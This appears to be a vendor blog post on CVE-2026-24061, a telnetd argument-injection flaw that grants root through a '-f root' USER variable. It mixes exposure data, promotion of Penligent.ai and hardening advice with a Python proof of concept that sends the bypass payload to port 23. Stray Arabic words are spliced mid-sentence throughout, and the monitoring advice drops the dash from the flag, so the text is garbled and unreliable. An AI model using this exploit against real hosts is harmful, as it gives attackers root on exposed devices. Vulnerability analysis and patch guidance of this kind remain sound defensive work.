The Ghost in the Shell: Dissecting CVE-2026-24061 and the Global Crisis of Exposed Telnet Assets

The Ghost in the Shell: Dissecting CVE-2026-24061 and the Global Crisis of Exposed Telnet Assets

In the high-velocity landscape of 2026 cybersecurity, where AI-driven exploits and quantum-resistant encryption dominate headlines, an ancient specter has returned to haunt the digital infrastructure. Telnet (TCP/23), a protocol defined in the early 1980s and long considered obsolete, is currently the center of a critical global security crisis.

The catalyst is CVE-2026-24061, a critical authentication bypass vulnerability in the GNU Inetutils telnetd server. Discovered in late January 2026, this flaw carries a CVSS score of 9.8 and allows unauthenticated remote attackers to gain instant root access via a trivial argument injection. With over 800,000 instances currently exposed across the public internet, this isn’t just a bug—it is a wake-up call regarding the persistent danger of “Legacy Debt.”

The Architectural Failure: Technical Breakdown of CVE-2026-24061

لفهم CVE-2026-24061, one must understand the interaction between a network daemon and the system’s authentication binary. This is not a complex heap overflow or a race condition; it is a fundamental failure in input sanitization و argument parsing logic.

The “f-root” Argument Injection Mechanism

The vulnerability exists in how telnetd (the Telnet daemon) invokes the /usr/bin/login program. When a client connects via Telnet, the protocol allows the client to send environment variables, most notably the USER variable, during the negotiation phase.

In vulnerable versions of GNU Inetutils (1.9.3 through 2.7), telnetd accepts the client-supplied USER string and passes it directly as an argument to the login command. The logic failure occurs because the daemon does not verify if the string begins with a dash (-).

If an attacker sends the string -f root as the USER environment variable, the server executes the following command:

/usr/bin/login -p -h <remote_host> -f root

On most Unix-like systems, the -f flag tells the login utility to force a login without requiring a password. By injecting this argument, the attacker bypasses the entire authentication stack, dropping directly into a root shell.

Vulnerability Snapshot: CVE-2026-24061

The Persistence of Legacy Debt: Why Telnet Still Matters in 2026

For many security engineers, the existence of nearly a million Telnet servers in 2026 seems impossible. However, the data from Shadowserver و سينسيس reveals a deep-seated reliance on legacy protocols within three specific sectors:

1. The IoT and Smart City Infrastructure

Between 2015 and 2025, millions of “Smart City” components—including traffic controllers, municipal lighting systems, and public utility monitors—were deployed using lightweight Linux distributions (often BusyBox or older Debian-based images) that included inetutils. These devices are frequently “air-gapped” by policy but “internet-connected” by reality, remaining unpatched for over a decade.

2. Industrial Control Systems (ICS) and OT

In manufacturing and maritime logistics, Telnet remains a standard for serial-over-IP console access. Industrial switches and PLCs often utilize Telnet because of its low resource overhead compared to SSH. In environments where milliseconds matter for logic controllers, the “latency tax” of encryption was historically avoided, leaving a massive, vulnerable footprint.

3. The Rise of the Lazarus-IOT Botnet

Since the disclosure on January 20, 2026, threat researchers have tracked a coordinated campaign known as Lazarus-IOT. This botnet utilizes automated scanners to identify port 23, attempts the -f root bypass, and—upon success—immediately installs persistent SSH keys and deploys DDoS malware. Within 72 hours of the PoC release, scanning traffic for Telnet increased by 400%.

Comparative Analysis: Telnet vs. Modern Authentication Flaws

To appreciate the simplicity of CVE-2026-24061, we must compare it to other critical vulnerabilities emerging in 2026:

1. CVE-2026-24858 (Fortinet SSO Bypass): While this also bypasses authentication, it involves complex “alternate path” logic within SAML/SSO frameworks. Telnet’s failure is much more “primitive” but equally effective.
2. CVE-2026-24872 (ProjectSkyfire Pointer Arithmetic): This vulnerability targets memory safety in C++ engines. While harder to exploit than Telnet, it demonstrates that even modern high-performance code suffers from the same boundary-checking failures that plagued 1990s software.
3. CVE-2026-21509 (Router Auth Bypass): Often used in “chained” attacks alongside Telnet to gain initial access to local networks.

Redefining Defense: How Penligent.ai Automates the Hunt

In an environment where attackers use AI to scale their scanning, defenders cannot rely on manual audits. This is where Penligent.ai يغيّر اللعبة

Penligent.ai هو الذكاء الاصطناعي العميل penetration testing platform. Unlike standard vulnerability scanners that match versions against a database, Penligent utilizes a reasoning engine that understands the المنطق of an exploit.

• Autonomous Logic Testing: When a new threat like CVE-2026-24061 emerges, Penligent’s AI Agents do not just look for a “telnet” tag. They reason that the vulnerability stems from environment variable manipulation and automatically attempt to validate the bypass in a safe, sandboxed manner across your entire IP range.
• Contextual Risk Assessment: Penligent understands that a Telnet port open on a public-facing web server is a different risk than one on an internal serial server. It autonomously builds an “Attack Path Map,” showing you how an attacker could move from a compromised IoT camera to your core database.
• Zero-Click Remediation Intelligence: For unpatchable OT devices, Penligent doesn’t just provide a “patch or die” alert. It generates specific ACL (Access Control List) configurations and WAF rules to virtually patch the vulnerability, buying your team time to replace the legacy hardware.

من خلال دمج Penligent.ai into your security lifecycle, you move from reactive patching to proactive, AI-driven immunity.

Hard-Core Exploitation: The Python PoC Walkthrough

For the security engineer, the exploit is a study in simplicity. Below is a conceptual representation of how a Python-based exploit triggers the bypass.

بايثون

`import socket

def exploit_telnet_bypass(target_ip): # Standard Telnet negotiation: IAC (255) DO (253) NEW-ENVIRON (39) # We craft the sub-negotiation to set USER to ‘-f root’ payload = ( b”\xff\xfa\x27\x00″ # IAC SB NEW-ENVIRON IS b”\x00USER\x01-f root” # VAR USER VALUE -f root b”\xff\xf0″ # IAC SE )

with socket.create_connection((target_ip, 23)) as sock:
    sock.sendall(payload)
    # The server accepts the injected argument and spawns root
    print(f"[*] Response from {target_ip}: {sock.recv(1024).decode()}")

Example Usage

exploit_telnet_bypass(“192.168.1.100”)`

The payload forces the server-side login process to interpret the string as a command-line argument rather than a username, effectively turning the Telnet client into a remote root terminal.

The Blueprint for Eradication: How to Kill Telnet in 2026

The only acceptable state for Telnet in 2026 is Non-Existent.

1. Immediate Containment: Block TCP/23 at the network edge and verify via Penligent.ai that no “Shadow IT” instances are bypassing your firewall rules.
2. Mandatory Patching: For systems that absolutely must run Telnet (e.g., legacy serial hubs), update to GNU Inetutils v2.8 immediately. This version introduces strict sanitization of the USER variable.
3. Migration Strategy: Replace Telnet with SSHv2 using Ed25519 keys. In OT environments, use secure terminal servers that bridge legacy hardware to encrypted network segments.
4. المراقبة المستمرة: Use AI-driven agents to monitor for any spawning of /bin/login processes with the f flag, which is a high-fidelity indicator of compromise (IoC) for this specific CVE.

Technical Inner Links

• NVD – Full Details on CVE-2026-24061
• CISA Known Exploited Vulnerabilities (KEV) Catalog
• Shadowserver – Global Telnet Exposure Map 2026
• GNU Inetutils Project – Official Security Release Notes
• Penligent.ai – Advanced AI-Driven Penetration Testing Platform
• Technical Guide to Automating Legacy Vulnerability Discovery